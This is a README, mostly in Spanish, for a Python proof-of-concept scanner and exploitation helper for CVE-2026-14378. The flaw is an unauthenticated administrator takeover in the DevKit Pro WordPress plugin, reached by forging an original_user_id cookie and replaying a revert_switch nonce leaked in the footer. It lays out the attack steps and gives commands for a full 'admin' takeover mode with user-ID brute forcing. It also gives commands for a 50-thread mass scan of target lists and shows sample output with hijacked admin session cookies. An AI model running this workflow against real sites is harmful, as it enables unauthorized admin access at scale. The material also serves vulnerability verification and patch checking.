
Escáner PoC en Python y asistente de explotación para CVE-2026-14378, una toma de control de sesión de administrador no autenticada en el plugin de WordPress DevKit Pro mediante una cookie original_user_id falsificada.
Escáner de prueba de concepto y asistente de explotación para CVE-2026-14378: toma de control de sesión de administrador sin autenticación en el plugin de WordPress DevKit Pro (dplugins) mediante un flujo defectuoso de "revertir" el cambio de usuario.
Legal: Úsalo solo en sistemas que poseas o para los que tengas permiso escrito explícito de probar. El acceso no autorizado es ilegal. Este repositorio es para investigación defensiva, verificación y validación de parches.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
Temas sugeridos: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| Producto | DevKit Pro (proveedor: dplugins) |
| Tipo | Omisión de autenticación → sesión de administrador completa (CWE-287) |
| Afectadas | Todas las versiones ≤ 2.3.0 |
| Corregido | 3.0.0+ (changelog) |
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | Problema | Autenticación |
|---|---|---|
| CVE-2026-14357 | Instalación arbitraria de ZIP de tema mediante DPDEV_install_themes | Subscriber+ |
| CVE-2026-14378 | Toma de control de sesión mediante reversión de cambio de usuario | Ninguna |
Este PoC se centra solo en 14378.
El Users Manager de DevKit Pro puede suplantar usuarios para pruebas. Cuando un administrador cambia a otra cuenta, el plugin almacena la identidad previa en una cookie del cliente:
original_user_id — ID de usuario de la cuenta antes del cambioCuando esa cookie está presente, el plugin renderiza un control de "volver a cambiar" en wp_footer en el front end, incluyendo un nonce de WordPress vinculado a la acción de reversión.
El manejador revert_switch (AJAX) llama a verify_nonce_and_capability(), que evalúa incorrectamente manage_options contra el usuario referenciado por original_user_id, en lugar de usar current_user_can() sobre el solicitante real (que puede estar completamente sin autenticar).
Un atacante puede:
Cookie: original_user_id=<administrator_user_id> (habitualmente 1).POST a wp-admin/admin-ajax.php con action=revert_switch (o alias específico del plugin) y el nonce filtrado.wp_set_auth_cookie() para el ID de usuario falsificado → sesión de administrador autenticada.Contexto oficial de la funcionalidad: Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
El comando check es intencionadamente estricto: informa vulnerable solo si aparece un nonce de switch-back tras falsificar original_user_id.
| Observación | Significado probable |
|---|---|
VULNERABLE — switch-back material leaked | La ruta de explotación probablemente funciona; confírmalo en un laboratorio antes de admin. |
not vulnerable (check): no switch-back nonce… | DevKit parcheado (≥ 3.0.0), plugin no instalado, Users Manager deshabilitado (desactivado por defecto), ruta de plugin personalizada, caché/CDN eliminando el footer, o sitio incorrecto. |
DevKit Pro readme not confirmed | Sin huella pública de readme.txt; el plugin puede seguir presente pero oculto — el oráculo sigue siendo la prueba decisiva. |
DevKit Pro <= 2.3.0 suspected + aún sin nonce | Puede estar instalada una versión vulnerable pero la función de cambio no está habilitada o el footer no se renderiza en las URLs probadas. |
Nota: Un 200 HTTP en /wp-content/plugins/.../readme.txt que devuelve una página HTML completa es un soft 404 común de WordPress. Este PoC valida el contenido del readme (cabecera Plugin Name:), no solo el código de estado.
pip install requests
Opcional: requirements.txt contiene un mínimo fijado:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
No completa la toma de control; solo prueba el oráculo del nonce del footer.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
Intenta el revert_switch completo y verifica el acceso a /wp-admin/.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| Flag | Descripción |
|---|---|
--user-id | ID de usuario administrador (o objetivo) falsificado en original_user_id (por defecto: 1) |
--brute | Probar IDs 1..N cuando falla el primer ID |
--timeout | Tiempo de espera HTTP en segundos (por defecto: 25) |
--log | Añadir URLs admin exitosas a un archivo (por defecto: logs.txt) |
Una URL por línea; los comentarios # y las columnas adicionales tras un espacio se ignoran.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
Si no se pasa ningún archivo como primer argumento, el script solicita una ruta de lista (mismo comportamiento que los escáneres masivos heredados).
El modo masivo usa un grupo de hilos (50 workers). Ajústalo en poc.py si alcanzas límites de tasa.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
Vulnerable (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
No vulnerable (escaneo masivo típico):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
Admin exitoso:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…